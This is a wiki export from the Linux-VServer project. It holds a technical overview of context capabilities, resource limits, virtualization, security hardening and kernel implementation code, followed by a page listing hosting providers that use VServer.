* Consider the context capability sufficient for a specified functionality, even if the Linux Capability says something different.For example mount() requires CAP_SYS_ADMIN which adds a dozen other things we do not want, so we define a CCAP_MOUNT to allow mounts for certain contexts.<br />
The difference between the Context Flags and the Context Caps is more an abstract logical separation than a functional one, because they are handled very similarly.<br />
<br />
Again, a list of the Context Capabilities and their purpose:<br />
<br />
<br />
{| class="wikitablenowrap"<br />
! [0] VXC_SET_UTSNAME<br />
| allow the context to change the host and domain name with the appropriate kernel Syscall<br />
|-<br />
! [1] VXC_SET_RLIMIT<br />
| allow the context to modify the resource limits (within the vserver limits).<br />
|-<br />
! [8] VXC_RAW_ICMP<br />
| allow raw icmp packets in a secure way (this makes ping work from inside)<br />
|-<br />
! [16] VXC_SECURE_MOUNT<br />
| permit secure mounts, which at the moment means that the nodev mount option is added.<br />
|}<br />
<br />
=== Context Accounting ===<br />
<br />
Some properties of a context are useful to the admin, either for keeping an overview of the resources, to get a feeling for the capacity of the host, or for billing them in some way to a customer.<br />
<br />
There are two different kinds of accountable properties, those having a current value which represents the state of the system (for example the speed of a vehicle), and those which monotonically increase over time (like the mileage).<br />
<br />
Most of the state type of properties also qualify for applying some limits, so they are handled specially. this is described in more detail in the following section.<br />
<br />
Good candidates for Context Accounting are:<br />
<br />
* Amount of CPU Time spent<br />
* Number of Forks done<br />
* Socket Messages by Type<br />
* Network Packets Transmitted and Received<br />
<br />
=== Context Limits ===<br />
<br />
Most properties related to system resources, might it be the memory consumption, the number of processes or file-handles, or the current network bandwidth, qualify for imposing limits on them.<br />
<br />
To provide a general framework for all kinds of limits, Context Limits allow the configuration of three different values for each limit-able resource: the minimum, a soft limit and a hard limit (maximum).<br />
<br />
At the time this is written, only the hard limits are supported and not all of them are actually enforced, but here is a list of current and planned Context Limits:<br />
<br />
* process limits<br />
* scheduler limits<br />
* memory limits<br />
* per-context disk limits<br />
* per-context user/group quota<br />
<br />
Additionally the context limit system keeps track of observed maxima and resource limit hits, to provide some feedback for the administrator.<br />
<br />
=== Virtualization ===<br />
<br />
One major difference between the Linux-VServer approach and Virtual Machines is that you do not have the virtualization part as a side-effect, so you have to do that by hand where it makes sense.<br />
<br />
For example, a Virtual Machine does not need to think about uptime, because naturally the running OS was started somewhere in the past and will not have any problem to tell the time it thinks it began running.<br />
<br />
A context can also store the time when it was created, but that will be different from the systems uptime, so in addition, there has to be some function, which adjusts the values passed from kernel to user-space depending on the context the process belongs to.<br />
<br />
This is what for Linux-VServer is known as Virtualization (actually it's more faking some values passed to and from the kernel to make the processes think that they are on a different machine).<br />
<br />
Currently modified for the purpose of Virtualization are:<br />
<br />
* System Uptime<br />
* Host and Domain Name<br />
* Machine Type and Kernel Version<br />
* Context Memory Availability<br />
* Context Disk Space<br />
<br />
=== Improved Security ===<br />
<br />
Proc-FS Security provides a mechanism to protect dynamic entries in the proc filesystem from being seen in every context.<br />
The system consists of three flags for each Proc-FS entry: Admin, Watch and Hide.<br />
<br />
The Hide flag enables or disables the entire feature, so any combination with the Hide flag cleared will mean total visibility.<br />
The Admin and Watch flags determine where the hidden entry remains visible; so for example if Admin and Hidden are set, the Host Context will be the only one able to see this specific entry.<br />
<br />
=== Kernel Helper ===<br />
<br />
For some purposes, it makes sense to have an user-space tool to act on behalf of the kernel, when a process inside a context requests something usually available on a real server, but naturally not available inside a context.<br />
<br />
The best, and currently only example for this is the Reboot Helper, which handles the reboot() system call, invoked from inside a context on behalf of the Kernel. It is executed, in Host side user-space to take appropriate actions - either reboot or just shutdown (halt) the specified context.<br />
<br />
While the helper is designed to be flexible and handle different things in a similar way there are no other users of this helper at the moment. It might be replaced by an event interface in near future.<br />
<br />
== Features and Bonus Material ==<br />
<br />
=== Unification ===<br />
<br />
Because one of the central objectives for Linux-VServer is to reduce the overall resource usage wherever possible, a truly great idea was born to share files between different contexts without interfering with the usual administrative tasks or reducing the level of security created by the isolation.<br />
<br />
Files common to more than one context, which are not very likely going to change, like libraries or binaries, can be hard linked on a shared filesystem, thus reducing the amount of disk space, inode caches, and even memory mappings for shared libraries.<br />
<br />
The only drawback is that without additional measures, a malicious context would be able to deliberately or accidentally destroy or modify such shared files, which in turn would harm the other contexts.<br />
<br />
One step is to make the shared files immutable by using the Immutable File Attribute (and removing the Linux Capability required to modify this attribute). However an additional attribute is required to allow removal of such immutable shared files, to allow for updates of libraries or executables from inside a context.<br />
<br />
Such hard linked, immutable but unlink-able files belonging to more than one context are called unified and the process of finding common files and preparing them in this way is called Unification.<br />
<br />
The reason for doing this is reduced resource consumption, not simplified administration. While a typical Linux Server install will consume about 500MB of disk space, 10 unified servers will only need about 700MB and as a bonus use less memory for caching.<br />
<br />
=== Private Namespaces ===<br />
<br />
A recent addition to the Linux-VServer branch was the introduction of Private Namespaces. This uses the already existing Virtual Filesystem Layer of the Linux kernel to create a separate view of the filesystem for the processes belonging to a context.<br />
<br />
The major advantage over the shared namespace used by default is that any modifications to the namespace layout (like mounts) do not affect other contexts, not even the Host Context.<br />
<br />
Obviously the drawback of that approach is that entering such a Private Namespace isn't as trivial as changing the root directory, but with proper kernel support this will completely replace the chroot() in the future.<br />
<br />
=== The Linux-VServer Proc-FS ===<br />
<br />
A structured, dynamically generated subtree of the well-known Proc-FS - actually two of them - has been created to allow for inspecting the different values of Security and Network Contexts.<br />
<br />
<pre><br />
/proc/virtual<br />
.../info<br />
<br />
/proc/virtual/<pid><br />
.../info<br />
.../status<br />
.../sched<br />
.../cvirt<br />
.../cacct<br />
.../limit<br />
</pre><br />
<br />
=== Token Bucket Extensions ===<br />
<br />
While the basic idea of Linux-VServer is a peaceful coexistence of all contexts, sharing the common resources in a respectful way, it is sometimes useful to control the resource distribution for resource hungry processes.<br />
<br />
The basic principle of a Token Bucket is not very new. It is given here as an example for the Hard CPU Limit. The same principle also applies to scheduler priorities, network bandwidth limitation and resource control in general.<br />
<br />
The Hard CPU Limit uses this mechanism in the following way: consider a bucket of a certain size S which is filled with a specified amount of tokens R every interval T, until the bucket is "full" - excess tokens are spilled. At each timer tick, a running process consumes exactly one token from the bucket, unless the bucket is empty, in which case the process is put on a hold queue until the bucket has been refilled with a minimum M of tokens. The process is then rescheduled.<br />
<br />
A major advantage of a Token Bucket is that a certain amount of tokens can be accumulated in times of quiescence, which later can be used to burst when resources are required.<br />
<br />
Where a per-process Token Bucket would allow for a CPU resource limitation of a single process, a Context Token Bucket allows to control the CPU usage of all confined processes.<br />
<br />
Another approach, which is also implemented, is to use the current fill level of the bucket to adjust the process priority, thus reducing the priority of processes belonging to excessive contexts.<br />
<br />
=== Context Disk Limits ===<br />
<br />
This Feature requires the use of XID Tagged Files, and allows for independent Disk Limits for different contexts on a shared partition.<br />
The number of inodes and blocks for each filesystem is accounted, if an XID-Hash was added for the Context-Filesystem combo.<br />
<br />
Those values, including current usage, maximum and reserved space, will be shown for filesystem queries, creating the illusion that the shared filesystem has a different usage and size, for each context.<br />
<br />
=== Per-Context Quota ===<br />
<br />
Similar to the Context Disk Limits, Per-Context Quota uses separate quota hashes for different Contexts on a shared filesystem. This is not required to allow for Linux-VServer quota on separate partitions.<br />
<br />
=== The VRoot Proxy Device ===<br />
<br />
Quota operations (ioctls) require some access to the block device, which for security reasons is not available inside a VPS.<br />
<br />
=== Stealth ===<br />
<br />
For some applications, for example the preparation of a honey-pot or an especially realistic imitation of a real server for educational purposes, it can make sense to make the context indistinguishable from a real server.<br />
<br />
However, since other freely available alternatives like QEMU or UML are much better at this, and require much less effort, this is not a central issue in Linux-VServer development.<br />
<br />
== Linux-VServer Security ==<br />
<br />
Now that we know what the Linux-VServer framework provides and how some features work, let's have a word on security, because you should not rely on the framework to be secure per definition. Instead, you should exactly know what you are doing.<br />
<br />
=== Secure Capabilities ===<br />
<br />
Currently the following Linux Capabilities are considered secure for VPS use. If others are added, it will probably open some security hole.<br />
<br />
* CAP_CHOWN<br />
* CAP_DAC_OVERRIDE<br />
* CAP_DAC_READ_SEARCH<br />
* CAP_FOWNER<br />
* CAP_FSETID<br />
* CAP_KILL<br />
* CAP_SETGID<br />
* CAP_SETUID<br />
* CAP_NET_BIND_SERVICE<br />
* CAP_SYS_CHROOT<br />
* CAP_SYS_PTRACE<br />
* CAP_SYS_BOOT<br />
* CAP_SYS_TTY_CONFIG<br />
* CAP_LEASE<br />
<br />
CAP_NET_RAW for example is not considered secure although it is often used to allow the broken ping command to work, although there are better alternatives like the userspace ping command poink[U7] or the VXC_RAW_ICMP Context Capability.<br />
<br />
=== The Chroot Barrier ===<br />
<br />
Ensuring that the Barrier flag is set on the parent directory of each VPS is vital if you do not want VPS root to escape from the confinement and walk your Host's root filesystem.<br />
<br />
=== Secure Device Nodes ===<br />
<br />
The /dev directory of a VPS should not contain more than the following devices and the one directory for the unix pts tree.<br />
<br />
* c 1 7 full<br />
* c 1 3 null<br />
* c 5 2 ptmx<br />
* c 1 8 random<br />
* c 5 0 tty<br />
* c 1 9 urandom<br />
* c 1 5 zero<br />
* d pts<br />
<br />
Of course other device nodes like console, mem and kmem, even block and character devices can be added, but some expertise is required in order to ensure no security holes are opened.<br />
<br />
=== Secure Proc-FS Entries ===<br />
<br />
There has been no detailed evaluation of secure and unsecure entries in the proc filesystem, but there have been some incidents where unprotected (not protected via Linux Capabilities) writable proc entries caused mayhem.<br />
<br />
For example, /proc/sysrq-trigger is something which should not be accessible inside a VPS without a very good reason.<br />
<br />
== Field of Application ==<br />
<br />
The primary goal of this project is to create virtual servers sharing the same machine. A virtual server operates like a normal Linux server. It runs normal services such as telnet, mail servers, web servers, and SQL servers.<br />
<br />
=== Administrative Separation ===<br />
<br />
This allows a clever provider to sell something called Virtual Private Server, which uses less resources than other virtualization techniques, which in turn allows more units on a single machine.<br />
<br />
The list of providers doing so is relatively long, and so this is rightfully considered the main area of application.<br />
<br />
=== Service Separation ===<br />
<br />
Separating different or similar services which otherwise would interfere with each other, either because they are poorly designed or because they are simply incapable of peaceful coexistence for whatever reason, can be easily done with Linux-VServer.<br />
<br />
But even on the old-fashioned real server machines, putting some extremely exposed or untrusted, because unknown or proprietary, services into some kind of jail can improve maintainability and security a lot.<br />
<br />
=== Enhancing Security ===<br />
<br />
While it can be interesting to run several virtual servers in one box, there is one concept potentially more generally useful. Imagine a physical server running a single virtual server. The goal is isolate the main environment from any service, any network. You boot in the main environment, start very few services and then continue in the virtual server.<br />
<br />
The service in the main environment would be:<br />
<br />
* Unreachable from the network.<br />
* Able to log messages from the virtual server in a secure way. The virtual server would be unable to change/erase the logs.\ Even a cracked virtual server would not be able the edit the log.<br />
* Able to run intrusion detection facilities, potentially spying the state of the virtual server without being accessible or noticed.\ For example, tripwire could run there and it would be impossible to circumvent its operation or trick it.<br />
<br />
Another option is to put the firewall in a virtual server, and pull in the DMZ, containing each service in a separate VPS. On proper configuration, this setup can reduce the number of required machines drastically, without impacting performance.<br />
<br />
=== Easy Maintenance ===<br />
<br />
One key feature of a virtual server is the independence from the actual hardware. Most hardware issues are irrelevant for a virtual server installation.<br />
<br />
The main server acts as a host and takes care of all the details. The virtual server is just a client and ignores all the details. As such, the client can be moved to another physical server with very few manipulations.<br />
<br />
For example, to move the virtual server from one physical computer to another, it is sufficient to do the following:<br />
<br />
* shutdown the running server<br />
* copy it over to the other machine<br />
* copy the configuration<br />
* start the virtual server on the new machine<br />
<br />
No adjustments to user setup, password database or hardware configuration are required, as long as both machines are binary compatible.<br />
<br />
=== Fail-over Scenarios ===<br />
<br />
Pushing the limit a little further, replication technology could be used to keep an up-to-the-minute copy of the filesystem of a running Virtual Server. This would permit a very fast fail-over if the running server goes offline for whatever reason.<br />
<br />
All the known methods to accomplish this, starting with network replication via rsync, or drbd, via network devices, or shared disk arrays, to distributed filesystems, can be utilized to reduce the down-time and improve overall efficiency.<br />
<br />
=== For Testing ===<br />
<br />
Consider a software tool or package which should be built for several versions of a specific distribution (Mandrake 8.2, 9.0, 9.1, 9.2, 10.0) or even for different distributions.<br />
<br />
This is easily solved with Linux-VServer. Given plenty of disk space, the different distributions can be installed and running side by side, simplifying the task of switching from one to another.<br />
<br />
Of course this can be accomplished by chroot() alone, but with Linux-VServer it's a much more realistic simulation.<br />
<br />
== Performance and Stability ==<br />
<br />
''(work in progress)''<br />
<br />
=== Impact of Linux-VServer on the Host ===<br />
<br />
seems to be 0% ...<br />
<br />
=== Overhead inside a Context ===<br />
<br />
seems to be less than 2% ...<br />
<br />
=== Size of the Kernel Patch ===<br />
<br />
Comparison of the different patches ...<br />
<br />
{| class="wikitablenowrap"<br />
! patch<br />
! hunks<br />
! +<br />
! -<br />
|-<br />
| patch-2.4.24-vs1.00.diff<br />
| 178<br />
| 1112<br />
| 135 <br />
|-<br />
| patch-2.4.24-vs1.20.diff<br />
| 216<br />
| 2035<br />
| 178 <br />
|-<br />
| patch-2.4.24-vs1.26.diff<br />
| 225<br />
| 2118<br />
| 180 <br />
|-<br />
| patch-2.4.25-vs1.27.diff<br />
| 252<br />
| 2166<br />
| 201 <br />
|-<br />
| patch-2.4.26-vs1.28.diff<br />
| 254<br />
| 2183<br />
| 202 <br />
|-<br />
| patch-2.6.6-vs1.9.0.diff<br />
| 494<br />
| 5699<br />
| 303 <br />
|-<br />
| patch-2.6.6-vs1.9.1.diff<br />
| 497<br />
| 5878<br />
| 307 <br />
|-<br />
| patch-2.6.7-vs1.9.2.diff<br />
| 618<br />
| 6836<br />
| 348 <br />
|-<br />
| uml-patch-2.4.26-1.diff<br />
| 449<br />
| 36885<br />
| 48<br />
|}<br />
<br />
== Non Intel i386 Hardware ==<br />
<br />
Linux-VServer was designed to be mostly architecture agnostic, therefore only a small part, the syscall definition itself, is architecture specific. Nevertheless some architectures have private copies of basically architecture independent code for whatever reason, and therefore small modifications are often required.<br />
<br />
The following architectures are supported and some of them are even tested:<br />
<br />
* alpha<br />
* ia32 / ia64 / xbox<br />
* x86_64 (AMD64)<br />
* mips / mips64<br />
* hppa / hppa64<br />
* ppc / ppc64<br />
* sparc / sparc64<br />
* s390<br />
* uml<br />
<br />
Adding a new architecture is relatively simple although extensive testing is required to make sure that every feature is working as expected (and of course, the hardware ;).<br />
<br />
== Linux Kernel Intro ==<br />
<br />
While almost all of the described features reside in the Linux Kernel, nifty Userspace Tools are required to activate and control the new functionality.<br />
<br />
Those Userspace Tools in general communicate with the Linux Kernel via System Calls (or Syscall for short).<br />
This chapter will give a short overview how Linux Kernel and User Space is organized and how Syscalls, a simple method of communication between processes and kernel, work.<br />
<br />
=== Kernel and User Space ===<br />
<br />
In Linux and similar Operating Systems, User and Kernel Space is separated, and address space is divided into two parts. Kernel space is where the kernel code resides, and user space is where the user programs live. Of course, a given user program can't write to kernel memory or to another program's memory area.<br />
<br />
Unfortunately, this is also the case for kernel code. Kernel code can't write to user space either. What does this mean? Well, when a given hardware driver wants to write data bytes to a program in user memory, it can't do it directly, but rather it must use specific kernel functions instead. Also, when parameters are passed by address to a kernel function, the kernel function can not read the parameters directly. It must use other kernel functions to read each byte of the parameters.<br />
<br />
Of course, there are some helpers which do the transfer to and from user space.<br />
<br />
<pre><br />
copy_to_user(void *to, const void *from, long n);<br />
copy_from_user(void *to, const void *from, long n);<br />
</pre><br />
<br />
get_user() and put_user() Get or put the given byte, word, or long from or to user memory. This is a macro, and it relies on the type of the argument to determine the number of bytes to transfer.<br />
<br />
=== Linux Syscalls ===<br />
<br />
Most libc calls rely on system calls, which are the simplest kernel functions a user program can call.<br />
<br />
These system calls are implemented in the kernel itself or in loadable kernel modules, which are little chunks of dynamically link-able kernel code.<br />
<br />
Linux system calls are implemented through a multiplexor called with a given maskable interrupt. In Linux, this interrupt is int 0x80. When the 'int 0x80' instruction is executed, control is given to the kernel (or, more accurately, to the _system_call() function), and the actual demultiplexing process occurs.<br />
<br />
How does _system_call() work ?<br />
<br />
First, all registers are saved and the content of the %eax register is checked against the global system calls table, which enumerates all system calls and their addresses.<br />
<br />
This table can be accessed with the extern void *sys_call_table[] variable. A given number and memory address in this table corresponds to each system call.<br />
<br />
System call numbers can be found in /usr/include/sys/syscall.h.<br />
<br />
They are of the form SYS_systemcallname. If the system call is not implemented, the corresponding cell in the sys_call_table is 0, and an error is returned.<br />
<br />
Otherwise, the system call actually exists and the corresponding entry in the table is the memory address of the system call code.<br />
<br />
== Kernel Side Implementation ==<br />
<br />
While this chapter is mainly of interest to kernel developers it might be fun to take a small peek behind the curtain to get a glimpse how everything really works.<br />
<br />
=== The Syscall Command Switch ===<br />
<br />
For a long time Linux-VServer used a few different Syscalls to accomplish different aspects of the work, but very soon the number of required commands grew large, and the Syscalls started to have magic values, selecting the desired behavior.<br />
<br />
Not too long ago, a single syscall was reserved for Linux-VServer, and while the opinion on that might differ from developer to developer, it was generally considered a good decision not to have more than one syscall.<br />
<br />
The advantage of different Syscalls would be simpler handling of the Syscalls on different architectures; however, this hasn't been a problem so far, as the data passed to and from the kernel has strong typed fields conforming to the C99 types.<br />
<br />
Regardless, the availability of one system call required the creation of a multiplexor, which decides, based on some selector, what specific command is to be executed, and then passes on the remaining arguments to that command, which does the actual work.<br />
<br />
<pre><br />
extern asmlinkage long<br />
sys_vserver(uint32_t cmd, uint32_t id, void __user *data)<br />
</pre><br />
<br />
The Linux-VServer syscall is passed three arguments regardless of what actual command is specified: a command (cmd), a number (id), and a user-space data-structure of yet unknown size.<br />
<br />
To allow for some structure for debugging purposes and some kind of command versioning, the cmd is split into three parts: the lower 12 bit contain a version number, then 4 bits are reserved, the upper 16 bits are divided into 8 bit command and 6 bit category, again reserving 2 bits for the future.<br />
<br />
There are 64 Categories with up to 256 commands in each category, allowing for 4096 revisions of each command, which is far more than will ever be required.<br />
<br />
Here is an overview of the categories already defined, and their numerical value:<br />
<br />
<pre><br />
Syscall Matrix V2.6<br />
<br />
|VERSION|CREATE |MODIFY |MIGRATE|CONTROL|EXPERIM| |SPECIAL|SPECIAL|<br />
|STATS |DESTROY|ALTER |CHANGE |LIMIT |TEST | | | |<br />
|INFO |SETUP | |MOVE | | | | | |<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
SYSTEM |VERSION|VSETUP |VHOST | | | | |DEVICES| |<br />
HOST | 00| 01| 02| 03| 04| 05| | 06| 07|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
CPU | |VPROC |PROCALT|PROCMIG|PROCTRL| | |SCHED. | |<br />
PROCESS| 08| 09| 10| 11| 12| 13| | 14| 15|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
MEMORY | | | | | | | |SWAP | |<br />
| 16| 17| 18| 19| 20| 21| | 22| 23|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
NETWORK| |VNET |NETALT |NETMIG |NETCTL | | |SERIAL | |<br />
| 24| 25| 26| 27| 28| 29| | 30| 31|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
DISK | | | | | | | |INODE | |<br />
VFS | 32| 33| 34| 35| 36| 37| | 38| 39|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
OTHER | | | | | | | |VINFO | |<br />
| 40| 41| 42| 43| 44| 45| | 46| 47|<br />
=======+=======+=======+=======+=======+=======+=======+ +=======+=======+<br />
SPECIAL| | | | |FLAGS | | | | |<br />
| 48| 49| 50| 51| 52| 53| | 54| 55|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
SPECIAL| | | | |RLIMIT |SYSCALL| | |COMPAT |<br />
| 56| 57| 58| 59| 60|TEST 61| | 62| 63|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
</pre><br />
<br />
The definition of those Commands is simplified by some macros, so for example the commands to get and set the Context Flags are defined like this:<br />
<br />
<pre><br />
#define VCMD_get_cflags VC_CMD(FLAGS, 1, 0)<br />
#define VCMD_set_cflags VC_CMD(FLAGS, 2, 0)<br />
<br />
extern int vc_get_cflags(uint32_t, void __user *);<br />
extern int vc_set_cflags(uint32_t, void __user *);<br />
</pre><br />
<br />
Note that the command itself is not passed to the actual command implementation, only the id and the pointer to user-space data.<br />
<br />
=== Utilized Data Structures ===<br />
<br />
There are many different data structures used by different parts of the implementation; while only a few examples are given here, all utilized structures can be found in the source.<br />
<br />
==== The Context Data Structure ====<br />
<br />
The Context Data Structure consists of a few fields required to manage the contexts, and handle context destruction, as well as future hierarchical contexts.<br />
<br />
Logically separated sections of that structure, like for the scheduler or the context limits are defined in separate structures, and incorporated into the main one.<br />
<br />
<pre><br />
struct vx_info {<br />
struct list_head vx_list; /* linked list of contexts */<br />
xid_t vx_id; /* context id */<br />
atomic_t vx_refcount; /* refcount */<br />
struct vx_info *vx_parent; /* parent context */<br />
<br />
struct namespace *vx_namespace; /* private namespace */<br />
struct fs_struct *vx_fs; /* private namespace fs */<br />
uint64_t vx_flags; /* context flags */<br />
uint64_t vx_bcaps; /* bounding caps (system) */<br />
uint64_t vx_ccaps; /* context caps (vserver) */<br />
<br />
pid_t vx_initpid; /* PID of fake init process */<br />
<br />
struct _vx_limit limit; /* vserver limits */<br />
struct _vx_sched sched; /* vserver scheduler */<br />
struct _vx_cvirt cvirt; /* virtual/bias stuff */<br />
struct _vx_cacct cacct; /* context accounting */<br />
<br />
char vx_name[65]; /* vserver name */<br />
};<br />
</pre><br />
<br />
Here as example the Scheduler Substructure:<br />
<pre><br />
struct _vx_sched {<br />
spinlock_t tokens_lock; /* lock for this structure */<br />
<br />
int fill_rate; /* Fill rate: add X tokens ... */<br />
int interval; /* Divisor: ... each Y jiffies */<br />
atomic_t tokens; /* current number of tokens */<br />
int tokens_min; /* Limit: minimum for unhold */<br />
int tokens_max; /* Limit: no more than N tokens */<br />
uint32_t jiffies; /* bias: integral multiple of Y */<br />
<br />
uint64_t ticks; /* token tick events */<br />
cpumask_t cpus_allowed; /* cpu mask for context */<br />
};<br />
</pre><br />
<br />
The main idea behind this separation is that each substructure belongs to a logically distinct part of the implementation which provides an init and cleanup function for this structure, thus simplifying maintainability and readability of those structures.<br />
<br />
==== The Scheduler Command Data ====<br />
<br />
As an example for the data structure used to control a specific part of the context from user-space, here is a scheduler command and the utilized data structure to set the properties:<br />
<br />
<pre><br />
#define VCMD_set_sched VC_CMD(SCHED, 1, 2)<br />
<br />
struct vcmd_set_sched_v2 {<br />
int32_t fill_rate; /* Fill rate: add X tokens ... */<br />
int32_t interval; /* Divisor: ... each Y jiffies */<br />
int32_t tokens; /* current number of tokens */<br />
int32_t tokens_min; /* Limit: minimum for unhold */<br />
int32_t tokens_max; /* Limit: no more than N tokens */<br />
uint64_t cpu_mask; /* Mask: allowed cpus */<br />
};<br />
</pre><br />
<br />
==== Example Accounting: Sockets ====<br />
<br />
Basically all the accounting and limit stuff are defined as macros or inline functions capable of handling the different resources, hiding the underlying implementation wherever possible.<br />
<br />
<pre><br />
#define vx_acc_sock(v,f,p,s) \<br />
__vx_acc_sock((v), (f), (p), (s), __FILE__, __LINE__)<br />
<br />
static inline void __vx_acc_sock(struct vx_info *vxi,<br />
int family, int pos, int size, char *file, int line)<br />
{<br />
if (vxi) {<br />
int type = vx_sock_type(family);<br />
<br />
atomic_inc(&vxi->cacct.sock[type][pos].count);<br />
atomic_add(size, &vxi->cacct.sock[type][pos].total);<br />
}<br />
}<br />
<br />
#define vx_sock_recv(sk,s) \<br />
vx_acc_sock((sk)->sk_vx_info, (sk)->sk_family, 0, (s))<br />
#define vx_sock_send(sk,s) \<br />
vx_acc_sock((sk)->sk_vx_info, (sk)->sk_family, 1, (s))<br />
#define vx_sock_fail(sk,s) \<br />
vx_acc_sock((sk)->sk_vx_info, (sk)->sk_family, 2, (s))<br />
</pre><br />
<br />
And this general definition is then used where appropriate, for example in the __sock_sendmsg() function like this:<br />
<br />
<pre><br />
len = sock->ops->sendmsg(iocb, sock, msg, size);<br />
if (sock->sk) {<br />
if (len == size)<br />
vx_sock_send(sock->sk, size);<br />
else<br />
vx_sock_fail(sock->sk, size);<br />
}<br />
</pre><br />
<br />
==== Example Limits: Virtual Memory ====<br />
<br />
<pre><br />
#define vx_pages_avail(m, p, r) \<br />
__vx_pages_avail((m)->mm_vx_info, (r), (p), __FILE__, __LINE__)<br />
<br />
static inline int __vx_pages_avail(struct vx_info *vxi,<br />
int res, int pages, char *file, int line)<br />
{<br />
if (!vxi)<br />
return 1;<br />
if (vxi->limit.rlim[res] == RLIM_INFINITY)<br />
return 1;<br />
if (atomic_read(&vxi->limit.res[res]) +<br />
pages < vxi->limit.rlim[res])<br />
return 1;<br />
return 0;<br />
}<br />
<br />
#define vx_vmpages_avail(m,p) vx_pages_avail(m, p, RLIMIT_AS)<br />
#define vx_vmlocked_avail(m,p) vx_pages_avail(m, p, RLIMIT_MEMLOCK)<br />
#define vx_rsspages_avail(m,p) vx_pages_avail(m, p, RLIMIT_RSS)<br />
</pre><br />
<br />
And again the test against those limits at certain places, for example here in copy_process()<br />
<br />
<pre><br />
/* check vserver memory */<br />
if (p->mm && !(clone_flags & CLONE_VM)) {<br />
if (vx_vmpages_avail(p->mm, p->mm->total_vm))<br />
vx_pages_add(p->mm->mm_vx_info,<br />
RLIMIT_AS, p->mm->total_vm);<br />
else<br />
goto bad_fork_free;<br />
}<br />
</pre><br />
<br />
==== Example Virtualization: Uptime ====<br />
<br />
<pre><br />
void vx_vsi_uptime(struct timespec *uptime)<br />
{<br />
struct vx_info *vxi = current->vx_info;<br />
<br />
set_normalized_timespec(uptime,<br />
uptime->tv_sec - vxi->cvirt.bias_tp.tv_sec,<br />
uptime->tv_nsec - vxi->cvirt.bias_tp.tv_nsec);<br />
return;<br />
}<br />
<br />
if (vx_flags(VXF_VIRT_UPTIME, 0))<br />
vx_vsi_uptime(&uptime, &idle);<br />
</pre><br />
<br />
== Future Direction</div>Daniel hozachttp://svn.linux-vserver.org/VServer_HostingVServer Hosting2011-04-01T13:08:11Z<p>Daniel hozac: Reverted edits by 80.97.199.131 (Talk) to last revision by Webhost-Direkt</p>
<hr />
<div>Here is a list of '''Companies''' utilizing '''Linux-VServer''' technology '''for Hosting'''...<br />
<br />
{| class="wikitable" style="width: 97%"<br />
! style="width: 25%" | Company <br />
! rowspan="2" | Description<br />
|-<br />
| Location<br />
|-<br />
<br />
! [http://www.gigatux.com GigaTux ]<br />
| [https://www.gigatux.com/virtual.php Virtual Private Servers]<br />
* Linux VPSs based in Maidenhead, near London, UK<br />
* Offers Debian Etch 2.6.18 Xen and Vserver kernel as a standard install option<br />
* Also allows users to use custom kernels<br />
* Users have commented on the stability of the Etch VServer kernel<br />
|-<br />
| Location - United Kingdom <br />
|-<br />
<br />
! [http://www.lvpshosting.com LVPSHosting Europe ]<br />
<br />
| [https://www.lvpshosting.com/vpshosting.html Virtual Private Server ]<br />
* Cluster systems in Rotterdam, Netherlands<br />
* Virtual Private Servers<br />
*NEW - cPanel to all VPS packages can be added <br />
* CentOS 4, CentOS 5, Fedora 10, Fedora 11, Fedora 12, Fedora 13, Ubuntu 8.04 LTS, Ubuntu 9.04, Debian Etch, Debian Lenny<br />
* We have VPS starting from $18.85 (the cheapest you will get)<br />
* Use Code 55CUT (at checkout) to get 55% less for your first month.<br />
* Everything from mainstream adult allow, monitoring systems Nagios and Cacti, application hosting, blog hosting<br />
* Costume VPS's available <br />
|-<br />
<br />
|-<br />
| Location - Europe - Netherlands<br />
|-<br />
! [http://www.danec.net DANEC Germany]<br />
Virtual Server Cluster Services<br />
| [https://www.danec.net/customer DANEC Orderpanel]<br />
* Cluster systems in Nuremberg and Frankfurt<br />
* KVM and OpenVZ systems avaiable<br />
* Virtual PBX systems<br />
* Debian, CentOS and Unbutu avaiable<br />
<br />
* We have expanded our CoLocation services with<br />
* VPS servers avaiable from 5 euro per month<br />
|-<br />
|-<br />
! [http://rentahost.ch Switzerland]<br />
Virtual Cluster Hosting<br />
| [http://rentahost.ch rentAhost.ch]<br />
* fully virtualized environment<br />
* Build upon our own hardware production<br />
* Using our wonderfull stable Linux Distribution [http://weblinux.ch WebLinux]<br />
<br />
* We offer specialized and stable Linux VServer Solutions<br />
* flexible on its most, if needed, stable as rock<br />
<br />
* [http://prounix.ch proUnix.ch] - Consultant - Borovcnik Peter<br />
|-<br />
|-<br />
! [http://www.dreamhostps.com/ DreamHost P.S.]<br />
| rowspan=2 |<br />
* Debian servers<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
|-<br />
| Los Angeles, California, USA<br />
|-<br />
! [http://www.wessexnetworks.com Wessex Networks]<br />
| rowspan=2 |<br />
* Linux VServer Dedicated Managed Virtual Servers<br />
* Debian-based / dedicated IP address<br />
* RAID Storage, Additional Backup, 100Mbit Burst<br />
* Host servers at [http://www.telecityredbus.com/uk/manchester Telecity Redbus Manchester]<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.datakompaniet.no DataKompaniet]<br />
| rowspan=2 |<br />
* We offer affordable Linux VServers on a 100Mbit fiber Internet connection<br />
* Gentoo based / firewalled / 2.6 kernel / private or (optional) public IP<br />
* VServers have been offered since 2004<br />
* Host servers are RAID5 equipped, and have historically had extremly good uptimes<br />
* Host servers are located in a professional server room, in the same building as Uninett Norid (Norway's TLD (.no) Registry)<br />
|-<br />
| Norway<br />
|-<br />
! [http://lylix.net LYLIX]<br />
VPS Hosting<br />
| rowspan=2 |<br />
* Virtual private servers based on '''2.6 kernel and 2.2.0 VServer'''.<br />
* Several different userlands are available in 32 and 64 bit, including '''Gentoo, Debian, Slackware, Fedora Core, CentOS, Arch Linux, OpenSuSE'''.<br />
* Custom images also accepted!<br />
* '''Asterisk PBX and Trixbox supported''', including Meetme, MOH, and IAX.<br />
* '''Three regional datacenter locations''': Northeast, West, and South USA.<br />
* Each primary host backed by secondary host via '''high-availability data replication''' for emergency recovery<br />
